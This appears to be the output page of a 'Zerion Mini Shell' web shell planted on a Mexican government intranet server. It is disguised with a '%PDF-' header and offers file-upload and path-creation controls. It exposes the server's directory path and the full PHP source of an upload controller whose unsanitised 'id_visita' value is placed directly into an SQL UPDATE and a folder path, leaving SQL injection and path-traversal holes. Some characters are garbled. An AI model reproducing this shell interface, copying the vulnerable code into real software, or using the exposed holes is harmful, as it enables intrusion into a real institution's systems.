%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/agregar_acta.php

<?php

session_start();
include "../../../config/config.php";
$_SESSION['expire'] = time() + (120 * 60);
$id_usuario = $_SESSION["id_usuario"];

// Recibir y sanitizar inputs
$id_visita = isset($_POST['id_visita']) ? trim($_POST['id_visita']) : '';


// Validar archivo PDF subido
if (!isset($_FILES['archivo_pdf']) || $_FILES['archivo_pdf']['error'] !== UPLOAD_ERR_OK) {
    die("Error al subir archivo PDF.");
}

$file = $_FILES['archivo_pdf'];

// Validar tipo MIME y extensi贸n PDF
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

if ($mime !== 'application/pdf') {
    die("El archivo debe ser un PDF.");
}

// Crear carpeta para guardar archivos si no existe
$uploadDir = '../adjuntos/actas/'.$id_visita.'/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// Generar nombre 煤ico para evitar sobreescritura
$nombreArchivo = uniqid('acta_') . '.pdf';
$rutaArchivo = $uploadDir . $nombreArchivo;

// Mover archivo subido
if (!move_uploaded_file($file['tmp_name'], $rutaArchivo)) {
    die("Error al guardar el archivo PDF.");
}

	$conf = new Configuracion();
	$conf->conectarBD();

if (strpos($rutaArchivo, '../') === 0) {
    $rutaArchivo = substr($rutaArchivo, 3); // quita exactamente los primeros 3 caracteres
}
	// insertar visita
	$insertar = "UPDATE visitaduria_titulos SET url_acta='$rutaArchivo' WHERE id = $id_visita";
    $actualizacion = $conf->actualizacion($insertar);


	$conf->desconectarDB();


	header("Location: ../page_edit_acta.php?id_titulo=$id_visita");

?>

Zerion Mini Shell 1.0